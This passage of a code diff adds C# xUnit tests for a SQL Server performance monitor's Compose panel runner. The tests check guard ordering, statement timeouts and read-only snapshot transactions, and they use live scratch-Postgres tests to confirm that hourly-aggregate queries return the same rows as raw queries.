+        var begin = core.IndexOf("await BeginHourlyEdgesSnapshotAsync(postgres, hourlyEdgesCandidate", StringComparison.Ordinal);
+        var panel = core.IndexOf("RunComposedQueryAsync(postgres, compiled!, clientSeconds, cancellationToken, snapshot?.Connection)", StringComparison.Ordinal);
+        Assert.True(begin > 0 && panel > begin, "the snapshot (guard and restore) comes before the panel statement");
+    }
+
+    [Fact]
+    public void TheGuardTimeout_IsTheSmallerOf15sAndTheComposeDeadline_FromAnIntegerCount()
+    {
+        var code = Web();
+
+        Assert.Contains("HourlyEdgesGuardSeconds(int composedSeconds) => Math.Max(1, Math.Min(HourlyEdgesGuardMaxSeconds, composedSeconds));", code, StringComparison.Ordinal);
+        Assert.Contains("internal const int HourlyEdgesGuardMaxSeconds = 15;", code, StringComparison.Ordinal);
+        Assert.Contains("var guardSeconds = HourlyEdgesGuardSeconds(composedSeconds);", Resolver(), StringComparison.Ordinal);
+        Assert.Contains("CommandTimeout = guardSeconds + HourlyEdgesGuardClientHeadroomSeconds", Resolver(), StringComparison.Ordinal);
+        Assert.Contains("$\"SET LOCAL statement_timeout = '{guardSeconds}s'\"", code, StringComparison.Ordinal);
+        Assert.Equal(15, DarlingWebEndpoints.HourlyEdgesGuardSeconds(60));
+        Assert.Equal(15, DarlingWebEndpoints.HourlyEdgesGuardSeconds(15));
+        Assert.Equal(8, DarlingWebEndpoints.HourlyEdgesGuardSeconds(8));
+        Assert.Equal(1, DarlingWebEndpoints.HourlyEdgesGuardSeconds(0));
+        Assert.Equal("SET LOCAL statement_timeout = '8s'", DarlingWebEndpoints.HourlyEdgesGuardTimeoutSql(8));
+    }
+
+    [Fact]
+    public void OnTheCandidatePath_TheDeadlineIsResolvedBeforeTheSnapshotOpensItsConnection()
+    {
+        var code = Web();
+        var core = code.IndexOf("private static async Task<ComposeRunOutcome> RunComposedPanelCoreAsync(", StringComparison.Ordinal);
+        Assert.True(core > 0);
+        var candidate = code.IndexOf("if (hourlyEdgesCandidate is not null)", core, StringComparison.Ordinal);
+        var resolve = code.IndexOf("candidateComposedSeconds = await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(postgres, cancellationToken);", candidate, StringComparison.Ordinal);
+        var begin = code.IndexOf("await BeginHourlyEdgesSnapshotAsync(postgres, hourlyEdgesCandidate", core, StringComparison.Ordinal);
+        var panelResolve = code.IndexOf("candidateComposedSeconds ?? await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(postgres, cancellationToken)", core, StringComparison.Ordinal);
+
+        Assert.True(candidate > core && resolve > candidate && begin > resolve, "the deadline is resolved before the snapshot begins");
+        Assert.True(panelResolve > begin, "the panel uses the value already resolved, and resolves itself only without a candidate");
+    }
+
+    [Fact]
+    public void AFailedSnapshotOpen_IsNotSwallowed_AndTheCallerAnswersItLikeThePanelsOwnFailedOpen()
+    {
+        var code = Web();
+        var at = code.IndexOf("private static async Task<HourlyEdgesSnapshot?> BeginHourlyEdgesSnapshotAsync(", StringComparison.Ordinal);
+        var end = code.IndexOf("private static async Task ExecuteSnapshotStatementAsync(", at, StringComparison.Ordinal);
+        Assert.True(at > 0 && end > at);
+        var begin = code[at..end];
+
+        var open = begin.IndexOf("var connection = await OpenComposeConnectionAsync(postgres, cancellationToken);", StringComparison.Ordinal);
+        var firstTry = begin.IndexOf("\n        try\n", StringComparison.Ordinal);
+        Assert.True(open > 0 && firstTry > open, "the open sits before any try");
+        Assert.DoesNotContain("ComposeStoreOpenException", begin[firstTry..], StringComparison.Ordinal);
+        Assert.DoesNotContain("catch (Exception ex) when (ex is not OperationCanceledException)", begin[..firstTry], StringComparison.Ordinal);
+
+        var core = code.IndexOf("private static async Task<ComposeRunOutcome> RunComposedPanelCoreAsync(", StringComparison.Ordinal);
+        var call = code.IndexOf("await BeginHourlyEdgesSnapshotAsync(postgres, hourlyEdgesCandidate", core, StringComparison.Ordinal);
+        var pg = code.IndexOf("catch (PostgresException ex)", call, StringComparison.Ordinal);
+        var pgOutcome = code.IndexOf("return FromPostgresException(ex);", pg, StringComparison.Ordinal);
+        var general = code.IndexOf("catch (Exception ex) when (ex is not OperationCanceledException)", pgOutcome, StringComparison.Ordinal);
+        var seam = code.IndexOf("onRunException?.Invoke(ex);", general, StringComparison.Ordinal);
+        var outcome = code.IndexOf("return FromRunException(ex, remapClientTimeout);", seam, StringComparison.Ordinal);
+        var panelOutcome = code.IndexOf("return FromRunException(ex, remapClientTimeout);", outcome + 1, StringComparison.Ordinal);
+        Assert.True(call > 0 && pg > call && pgOutcome > pg && general > pgOutcome && seam > general && outcome > seam,
+            "the begin is covered by the main try's arms, in the same order: PostgresException, then the non-cancellation arm");
+        Assert.True(outcome - call < 1800, "the handlers are the begin's own");
+        Assert.True(panelOutcome > outcome, "and they answer through the same FromPostgresException / FromRunException the panel's own failed open uses");
+        Assert.DoesNotContain("catch (OperationCanceledException", code[call..outcome], StringComparison.Ordinal);
+        Assert.DoesNotContain("catch (ComposeStoreOpenException", code[call..outcome], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFailedRollback_AbandonsTheSnapshot_SoThePanelReadsRawOnAFreshConnection()
+    {
+        var body = Resolver();
+        var rollbackCatch = body.IndexOf("catch (Exception rollbackEx) when (rollbackEx is not OperationCanceledException)", StringComparison.Ordinal);
+        Assert.True(rollbackCatch > 0);
+        var tail = body[rollbackCatch..];
+        Assert.True(tail.IndexOf("throw;", StringComparison.Ordinal) is > 0 and var rethrow && rethrow < tail.IndexOf("return null;", StringComparison.Ordinal),
+            "a failed rollback rethrows to the snapshot begin, which disposes and returns null");
+    }
+
+    [Fact]
+    public void TheClockSeam_ReachesTheCoreAndIsNotUsedByAnyProductionCaller()
+    {
+        var code = Web();
+        Assert.Contains("DateTime? nowUtc = null)", code, StringComparison.Ordinal);
+        Assert.Contains("var now = nowUtc ?? DateTime.UtcNow;", code, StringComparison.Ordinal);
+        Assert.Contains("includeDataStartFields, cancellationToken, readLatency?.Logger, onRunException, nowUtc);", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("nowUtc:", Source("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpCustomViewTools.cs"), StringComparison.Ordinal);
+        Assert.Contains("internal static JsonValue? DbValueToJson(object value)", code, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGuardAndThePanel_ShareOneRepeatableReadReadOnlyTransactionOnOneConnection()
+    {
+        var code = Web();
+        var begin = code.IndexOf("BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead", StringComparison.Ordinal);
+        var readOnly = code.IndexOf("HourlyEdgesReadOnlySql, McpCommandDeadlines", begin, StringComparison.Ordinal);
+        var guard = code.IndexOf("await ResolveHourlyEdgesVerdictAsync(connection, candidate", readOnly, StringComparison.Ordinal);
+
+        Assert.True(begin > 0 && readOnly > begin && guard > readOnly, "transaction begins, is made read only, then the guard runs on the same connection");
+        Assert.Contains("SET TRANSACTION READ ONLY", code, StringComparison.Ordinal);
+        Assert.Contains("NpgsqlConnection? sharedConnection = null)", code, StringComparison.Ordinal);
+        Assert.Contains("var connection = sharedConnection ?? ownedConnection!;", code, StringComparison.Ordinal);
+        Assert.Contains("HourlyEdges: snapshot?.Verdict", code, StringComparison.Ordinal);
+        Assert.Contains("if (hourlyEdgesCandidate is not null)", code, StringComparison.Ordinal);
+        Assert.Contains("HourlyEdgesSnapshot? hourlyEdgesSnapshot = null;", code, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void OnlyACountOfZeroPasses_AndAnyFaultReturnsNoVerdict()
+    {
+        var body = Resolver();
+
+        Assert.Contains("return mismatches == 0", body, StringComparison.Ordinal);
+        var catchAt = body.IndexOf("catch (Exception ex) when (ex is not OperationCanceledException)", StringComparison.Ordinal);
+        Assert.True(catchAt > 0);
+        var tail = body[catchAt..];
+        Assert.Contains("return null;", tail, StringComparison.Ordinal);
+        Assert.DoesNotContain("new ComposeHourlyEdgesVerdict(", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnUncoveredLedger_IsNotedQuietlyAsLedgerUncovered_AfterTheTimeoutRestore_AndBeforeThePassTest()
+    {
+        var body = Resolver();
+        var restore = body.IndexOf("HourlyEdgesRestoreTimeoutSql, McpCommandDeadlines", StringComparison.Ordinal);
+        var uncovered = body.IndexOf("if (mismatches == IntervalRollupCountGuard.UncoveredResult)", StringComparison.Ordinal);
+        var pass = body.IndexOf("return mismatches == 0", StringComparison.Ordinal);
+        Assert.True(restore > 0 && uncovered > restore && pass > uncovered, "restore, then the uncovered branch, then the pass test");
+
+        var branch = body[uncovered..pass];
+        Assert.Contains("ReadScope.Note(ReadFallback.LedgerUncovered);", branch, StringComparison.Ordinal);
+        Assert.Contains("return null;", branch, StringComparison.Ordinal);
+        Assert.DoesNotContain("GateFailed", branch, StringComparison.Ordinal);
+        Assert.DoesNotContain("NoteFallback", branch, StringComparison.Ordinal);
+        Assert.DoesNotContain("Warn", branch, StringComparison.Ordinal);
+
+        /* The runner's constant is the guard's own literal, so the two cannot drift apart. */
+        Assert.Equal(-1L, PerformanceMonitor.Darling.Storage.IntervalRollupCountGuard.UncoveredResult);
+        Assert.Contains("ELSE -1 END", PerformanceMonitor.Darling.Storage.IntervalRollupCountGuard.QueryStatsSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AStoreBeforeTheLedger_IsFoundByItsSchemaVersion_BeforeTheGuardRuns_WhileEveryGuardFaultStillWarns()
+    {
+        var body = Resolver();
+        var savepoint = body.IndexOf("HourlyEdgesSavepointSql, McpCommandDeadlines", StringComparison.Ordinal);
+        var probe = body.IndexOf("new NpgsqlCommand(QueryStoreWideSchemaVersionSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds }", StringComparison.Ordinal);
+        var below = body.IndexOf("if (schemaVersion < QueryStatsHourLedger.RungVersion)", StringComparison.Ordinal);
+        var quiet = body.IndexOf("ReadScope.Note(ReadFallback.GateFailed);", StringComparison.Ordinal);
+        var set = body.IndexOf("HourlyEdgesGuardTimeoutSql(guardSeconds), McpCommandDeadlines", StringComparison.Ordinal);
+        var guardSql = body.IndexOf("var guardSql = IntervalRollupCountGuard.SqlFor(", StringComparison.Ordinal);
+        Assert.True(savepoint > 0 && probe > savepoint && below > probe && quiet > below && set > quiet && guardSql > set,
+            "savepoint, then the schema-version read, then the below-the-rung branch, then the guard's timeout and SQL");
+
+        /* A store below the rung returns from the branch before the guard's timeout is set, so nothing is left to put back. */
+        var branch = body[below..set];
+        Assert.Contains("return null;", branch, StringComparison.Ordinal);
+        Assert.DoesNotContain("NoteFallback", branch, StringComparison.Ordinal);
+
+        /* The only other statement that reads the version is the Query Store route's constant, shared, not copied. */
+        Assert.DoesNotContain("darling_schema_version", body, StringComparison.Ordinal);
+        Assert.Equal("SELECT COALESCE(MAX(version), 0) FROM darling_schema_version", DarlingWebEndpoints.QueryStoreWideSchemaVersionSql);
+
+        /* No fault is special-cased: every one, an undefined table included, warns once, then rolls back to the savepoint. */
+        var catchAt = body.IndexOf("catch (Exception ex) when (ex is not OperationCanceledException)", StringComparison.Ordinal);
+        Assert.True(catchAt > guardSql);
+        var tail = body[catchAt..];
+        Assert.DoesNotContain("UndefinedTable", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("PostgresException", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadScope.Note(ReadFallback.GateFailed);", tail, StringComparison.Ordinal);
+        var loud = tail.IndexOf("ReadScope.NoteFallback(ReadFallback.GateFailed, \"#4605 compose hourly-edges count guard\", ex);", StringComparison.Ordinal);
+        var rollback = tail.IndexOf("HourlyEdgesRollbackToSavepointSql", StringComparison.Ordinal);
+        Assert.True(loud >= 0 && rollback > loud, "any guard fault warns, then rolls back to the savepoint");
+    }
+
+    [Fact]
+    public void TheModuleMapWatermark_IsReadOnlyForAModuleJoinPanelWhoseGuardPassed_InTheSnapshotsOwnTransaction()
+    {
+        var code = Web();
+        var at = code.IndexOf("private static async Task<HourlyEdgesSnapshot?> BeginHourlyEdgesSnapshotAsync(", StringComparison.Ordinal);
+        Assert.True(at > 0);
+        var end = code.IndexOf("private static async Task<DateTime?> ReadModuleMapWatermarkInSnapshotAsync(", at, StringComparison.Ordinal);
+        Assert.True(end > at);
+        var begin = code[at..end];
+
+        Assert.Contains("bool readModuleMapWatermark", begin, StringComparison.Ordinal);
+        Assert.Contains("verdict is not null && readModuleMapWatermark", begin, StringComparison.Ordinal);
+        Assert.Contains("ReadModuleMapWatermarkInSnapshotAsync(connection, cancellationToken)", begin, StringComparison.Ordinal);
+        Assert.Contains("hourlyEdgesCandidate, serverScope, candidateComposedSeconds.Value, plan!.UsesModuleJoin, cancellationToken", code, StringComparison.Ordinal);
+        Assert.Contains("ModuleMapThrough: snapshot?.ModuleMapThrough", code, StringComparison.Ordinal);
+
+        var read = code[end..code.IndexOf("private static async Task ExecuteSnapshotStatementAsync(", end, StringComparison.Ordinal)];
+        var save = read.IndexOf("HourlyEdgesModuleMapSavepointSql", StringComparison.Ordinal);
+        var watermark = read.IndexOf("DarlingModuleMap.ReadWatermarkAsync(connection, cancellationToken)", StringComparison.Ordinal);
+        var rollback = read.IndexOf("HourlyEdgesModuleMapRollbackSql", StringComparison.Ordinal);
+        Assert.True(save >= 0 && watermark > save && rollback > watermark, "savepoint, then the watermark read, then the rollback to the savepoint");
+    }
+
+    [Fact]
+    public void ThePanelRunPath_IsTheOnlyPlaceTheWatermarkIsRead_SoTheWebRouteAndTheMcpToolShareIt()
+    {
+        var tool = Source("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpCustomViewTools.cs");
+        Assert.Contains("DarlingWebEndpoints.RunComposedPanelAsync(", tool, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadWatermarkAsync", tool, StringComparison.Ordinal);
+        Assert.DoesNotContain("ModuleMapThrough", Source("Darling", "PerformanceMonitor.Darling.Service", "CustomAlertEvaluator.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CustomAlerts_NeverSetAVerdict()
+    {
+        Assert.DoesNotContain("HourlyEdges", Source("Darling", "PerformanceMonitor.Darling.Service", "CustomAlertEvaluator.cs"), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeHourlyRawEdgesGuardLiveTests.cs b/Darling/Darling.Tests/ComposeHourlyRawEdgesGuardLiveTests.cs
new file mode 100644
index 0000000000..6902026c32
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeHourlyRawEdgesGuardLiveTests.cs
@@ -0,0 +1,681 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: the live exactness proof for the hourly-raw-edges Compose route, first half. Each fact seeds its own scratch
+/// store (a fresh data source too, so the per-data-source rollup and coverage cache cannot leak between facts), refreshes
+/// <c>collect.query_stats_interval_hourly</c> up to the anchor's hour, and runs a fleet Ranked SUM of <c>query_worker_us</c>
+/// through <see cref="DarlingWebEndpoints.RunComposedPanelAsync"/> over a 24-hour window that ends at the anchor. Every
+/// fact then asserts two things: the payload SQL names <c>query_stats_interval_hourly AS mid</c> (the hybrid really was
+/// taken, so the comparison is not raw against raw), and the payload rows, serialized as JSON, equal byte for byte the rows
+/// of the SAME panel compiled with no verdict (the raw route) and run on its own connection. The raw side is produced by
+/// <see cref="ComposeCompiler.Compile"/> on a <see cref="ComposeRunContext"/> built from the same window, rollups and
+/// coverage, and its rows are serialized with the runner's own value mapping (<see cref="DarlingWebEndpoints.DbValueToJson"/>).
+/// Seeds are placed relative to the whole-hour middle <c>[h1, h2)</c> computed here the way the router does.
+///
+/// <para>The whole class runs on ONE fixed anchor (<see cref="Anchor"/>), passed to the runner as its <c>nowUtc</c> seam. The
+/// seeds, the aggregate refresh range, h1 and h2, the window and the raw compile's context are all built from it, so no fact
+/// waits for an hour edge or races the hour turning over, and a slow migration cannot push the run past the router's one-minute
+/// end slack. Two things on the compose path still read the real clock: the rollup-probe cache lifetime and the coverage
+/// floor-reuse lifetime. Every fact opens a fresh data source, so a fact's probe is always a first probe and neither lifetime
+/// can change which route is taken. A pin below keeps this class from reading the wall clock or sleeping.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every fact reaches DARLING_TEST_PG only to CREATE and
+   DROP its own database through ScratchPostgres, then works entirely inside it. */
+[Trait("Cost", "Slow")]
+public sealed class ComposeHourlyRawEdgesGuardLiveTests
+{
+    private const int ServerIdA = -47001;
+    private const int ServerIdB = -47002;
+    private const string ServerA = "EdgesServerA";
+    private const string ServerB = "EdgesServerB";
+    private const string Hybrid = "query_stats_interval_hourly AS mid";
+
+    private const string PanelByDatabase =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":50,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}";
+
+    private const string PanelByDatabaseAndObject =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":50,\"groupBy\":[\"database_name\",\"object_name\"],\"viz\":\"table\"}";
+
+    /// <summary>The one instant every fact runs at: 37 minutes and 21 seconds into an hour, so the window's start is not on an
+    /// hour and h1 is the next whole hour (23 whole hours of middle). Its kind is Utc, as the clock the runner reads is, so an
+    /// hours-based body gives the router Kind=Utc hour instants; the guard must bind them as naive timestamps. The explicit-window
+    /// facts format the window as Unspecified (see RunAsync).</summary>
+    private static readonly DateTime Anchor = new(2026, 1, 5, 12, 37, 21, DateTimeKind.Utc);
+
+    /// <summary>The on-the-hour variant: the 24-hour window starts exactly on an hour, so h1 equals the window's start.</summary>
+    private static readonly DateTime OnTheHourAnchor = new(2026, 1, 5, 12, 0, 0, DateTimeKind.Utc);
+
+    private static long s_collectionId = Anchor.Ticks;
+
+    /// <summary>Where the hours fall for an anchor and a 24-hour window: h1 is the first whole hour at or after the window's
+    /// start, h2 the last whole hour at or before its end (the router's CeilHour and FloorHour).</summary>
+    private readonly record struct Layout(DateTime H1, DateTime H2)
+    {
+        public static Layout For(DateTime anchor)
+        {
+            var h2 = FloorHour(anchor);
+            var start = anchor.AddHours(-24);
+            var h1 = start == FloorHour(start) ? start : FloorHour(start).AddHours(1);
+            return new Layout(h1, h2);
+        }
+    }
+
+    [Fact]
+    public async Task RestartRowsOnly_InTheMiddle_GiveNullValues_TheHybridKeeps_AsRawDoes()
+    {
+        await using var store = await StoreAsync();
+        var h1 = store.Layout.H1;
+        await SeedAnchorAsync(store);
+        /* every middle-hour row of this group is a restart marker: raw's measured-delta filter leaves it NULL */
+        await QsAsync(store, ServerA, "RestartOnlyDb", "HR", "0xR", h1.AddHours(2).AddMinutes(5), 777, 0);
+        await QsAsync(store, ServerA, "RestartOnlyDb", "HR", "0xR", h1.AddHours(3).AddMinutes(5), 888, 0);
+        await QsAsync(store, ServerB, "RestartOnlyDb", "HR", "0xR", h1.AddHours(5).AddMinutes(5), 999, 0);
+        await QsAsync(store, ServerA, "NormalDb", "HN", "0xN", h1.AddHours(4).AddMinutes(5), 500, 300);
+        await store.RefreshAsync();
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+
+        var restartRow = raw.OfType<JsonObject>().Single(r => r["database_name"]?.GetValue<string>() == "RestartOnlyDb");
+        Assert.Null(restartRow["value"]);
+    }
+
+    [Fact]
+    public async Task EdgeOnlyGroups_OnEachSide_AndARowAtTheWindowEnd_AreCountedOnce()
+    {
+        await using var store = await StoreAsync();
+        var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+        await SeedAnchorAsync(store);
+        await QsAsync(store, ServerA, "LeftEdgeDb", "HL", "0xL", h1.AddSeconds(-1), 11, 300);
+        await QsAsync(store, ServerB, "LeftEdgeDb", "HL", "0xL", h1.AddMinutes(-2), 13, 300);
+        await QsAsync(store, ServerA, "RightEdgeDb", "HRT", "0xRT", h2, 17, 300);
+        await QsAsync(store, ServerA, "RightEdgeDb", "HRT", "0xRT", h2.AddSeconds(1), 19, 300);
+        await store.RefreshAsync();
+        /* the row at the window's end is written after the end is fixed, exactly on it: raw's `<=` takes it, so must the hybrid */
+        await QsAsync(store, ServerB, "RightEdgeDb", "HRT", "0xRT", store.WindowEnd, 23, 300);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+
+        Assert.Equal(24, ValueOf(raw, "LeftEdgeDb"), 6);
+        Assert.Equal(17 + 19 + 23, ValueOf(raw, "RightEdgeDb"), 6);
+    }
+
+    [Fact]
+    public async Task AGroup_StraddlingBothMiddleBoundaries_IsCountedOnceAtEachRow()
+    {
+        await using var store = await StoreAsync();
+        var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+        await SeedAnchorAsync(store);
+        /* h1 - 1 s (edge), exactly h1 (middle), mid-middle, h2 - 1 s (middle), exactly h2 (edge) */
+        await QsAsync(store, ServerA, "StraddleDb", "HS", "0xS", h1.AddSeconds(-1), 1, 300);
+        await QsAsync(store, ServerA, "StraddleDb", "HS", "0xS", h1, 10, 300);
+        await QsAsync(store, ServerA, "StraddleDb", "HS", "0xS", h1.AddHours(7).AddMinutes(11), 100, 300);
+        await QsAsync(store, ServerA, "StraddleDb", "HS", "0xS", h2.AddSeconds(-1), 1000, 300);
+        await QsAsync(store, ServerA, "StraddleDb", "HS", "0xS", h2, 10000, 300);
+        await ProcAsync(store, ServerA, "StraddleDb", "usp_Straddle", "0xS", h1.AddMinutes(10));
+        await store.RefreshAsync();
+
+        foreach (var panel in new[] { PanelByDatabase, PanelByDatabaseAndObject })
+        {
+            var (hybrid, raw) = await RunBothAsync(store, panel);
+            AssertHybridTaken(hybrid);
+            Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+            Assert.Equal(1 + 10 + 100 + 1000 + 10000, ValueOf(raw, "StraddleDb"), 6);
+        }
+    }
+
+    [Fact]
+    public async Task ANullSampleInterval_InTheMiddle_IsMeasured_InBothRoutes()
+    {
+        await using var store = await StoreAsync();
+        var h1 = store.Layout.H1;
+        await SeedAnchorAsync(store);
+        await QsAsync(store, ServerA, "NullIntervalDb", "HI", "0xI", h1.AddHours(6).AddMinutes(20), 4242, null);
+        await QsAsync(store, ServerA, "NullIntervalDb", "HI", "0xI", h1.AddHours(6).AddMinutes(40), 8, 300);
+        await store.RefreshAsync();
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        Assert.Equal(4242 + 8, ValueOf(raw, "NullIntervalDb"), 6);
+    }
+
+    [Fact]
+    public async Task AProcedureStatsPanel_StaysRaw()
+    {
+        await using var store = await StoreAsync();
+        var h1 = store.Layout.H1;
+        for (var hour = 0; hour < 23; hour++)
+        {
+            await ProcAsync(store, ServerA, "ProcDb", "usp_Proc", "0xP", h1.AddHours(hour).AddMinutes(30), workerTime: 100);
+        }
+
+        await store.RefreshAsync(TimescaleSupport.ProcedureStatsIntervalHourlyView);
+
+        var outcome = await RunAsync(store, "{\"source\":\"procedure_stats\",\"measure\":\"proc_worker_us\",\"aggregate\":\"sum\",\"topN\":50,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}");
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+        var sql = (string)outcome.Payload!["sql"]!;
+        Assert.DoesNotContain("_interval_hourly", sql, StringComparison.Ordinal);
+        Assert.NotEmpty((JsonArray)outcome.Payload["rows"]!);
+    }
+
+    [Fact]
+    public async Task ThePlainFleetPanel_TakesTheHybridRoute()
+    {
+        await using var store = await StoreAsync();
+        await SeedAnchorAsync(store);
+        await store.RefreshAsync();
+
+        var outcome = await RunAsync(store, PanelByDatabase);
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+        AssertHybridTaken(outcome.Payload!);
+    }
+
+    [Fact]
+    public async Task AnOrdinaryHoursPanel_WithAUtcAnchor_TakesTheRoute_AndMatchesRaw()
+    {
+        /* the production shape: hours = 24, now = a Kind=Utc DateTime, so the router's hour instants are Kind=Utc */
+        Assert.Equal(DateTimeKind.Utc, Anchor.Kind);
+        await using var store = await StoreAsync();
+        await SeedAnchorAsync(store);
+        await store.RefreshAsync();
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase, relativeWindow: true);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(DateTimeKind.Utc, store.Anchor.Kind);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+    }
+
+    private const string PanelMax =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"max\",\"topN\":50,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}";
+
+    private const string PanelMin =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"min\",\"topN\":50,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}";
+
+    private const string PanelRankedSeriesAtHour =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":50,\"groupBy\":[\"database_name\"],\"viz\":\"line\"}";
+
+    private const string PanelScalar =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"viz\":\"stat\"}";
+
+    /// <summary>The seed every aggregate and mode variant shares: edge rows on both sides, middle rows at distinct values
+    /// (so Max and Min each have a different winner than Sum), a restart-only group, a NULL interval, and the row exactly
+    /// on each middle boundary.</summary>
+    private static async Task SeedMixedAsync(Store store)
+    {
+        var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+        await SeedAnchorAsync(store);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h1.AddSeconds(-1), 5000, 300);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h1, 7, 300);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h1.AddHours(3).AddMinutes(10), 4000, 300);
+        await QsAsync(store, ServerB, "MixedDb", "HM", "0xM", h1.AddHours(9).AddMinutes(12), 3, 300);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h1.AddHours(9).AddMinutes(30), 2500, null);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h2.AddSeconds(-1), 90, 300);
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", h2, 6000, 300);
+        await QsAsync(store, ServerA, "RestartDb", "HR", "0xR", h1.AddHours(4).AddMinutes(5), 777, 0);
+        await QsAsync(store, ServerB, "EdgeDb", "HE", "0xE", h2.AddSeconds(2), 11, 300);
+        await QsAsync(store, ServerA, "EdgeDb", "HE", "0xE", h1.AddMinutes(-30), 13, 300);
+        await store.RefreshAsync();
+    }
+
+    [Fact]
+    public async Task AMaxPanel_TakesTheHybridRoute_AndMatchesRaw()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelMax);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        Assert.Equal(6000, ValueOf(raw, "MixedDb"), 6);
+    }
+
+    [Fact]
+    public async Task AMinPanel_TakesTheHybridRoute_AndMatchesRaw()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelMin);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        Assert.Equal(3, ValueOf(raw, "MixedDb"), 6);
+    }
+
+    [Fact]
+    public async Task ARankedTimeSeriesPanel_AtHourGrain_TakesTheHybridRoute_AndMatchesRaw()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelRankedSeriesAtHour);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        Assert.True(raw.Count > 1, "an hourly series over the seeded window has more than one bucket");
+    }
+
+    [Fact]
+    public async Task AScalarPanel_TakesTheHybridRoute_AndMatchesRaw()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelScalar);
+        AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        Assert.Single(raw);
+    }
+
+    [Fact]
+    public async Task ALateNonRestartRow_AfterTheRefresh_MakesTheGuardRefuse_AndTheRowsStillMatchRaw()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        /* one more measured row in the last middle hour, written after the aggregate was refreshed: raw now holds one
+           row the aggregate does not, the counts disagree, and the guard must send the panel down the raw route */
+        await QsAsync(store, ServerA, "MixedDb", "HM", "0xM", store.Layout.H2.AddHours(-1).AddMinutes(20), 123456, 300);
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase);
+        Assert.DoesNotContain("_interval_hourly", (string)hybrid["sql"]!, StringComparison.Ordinal);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
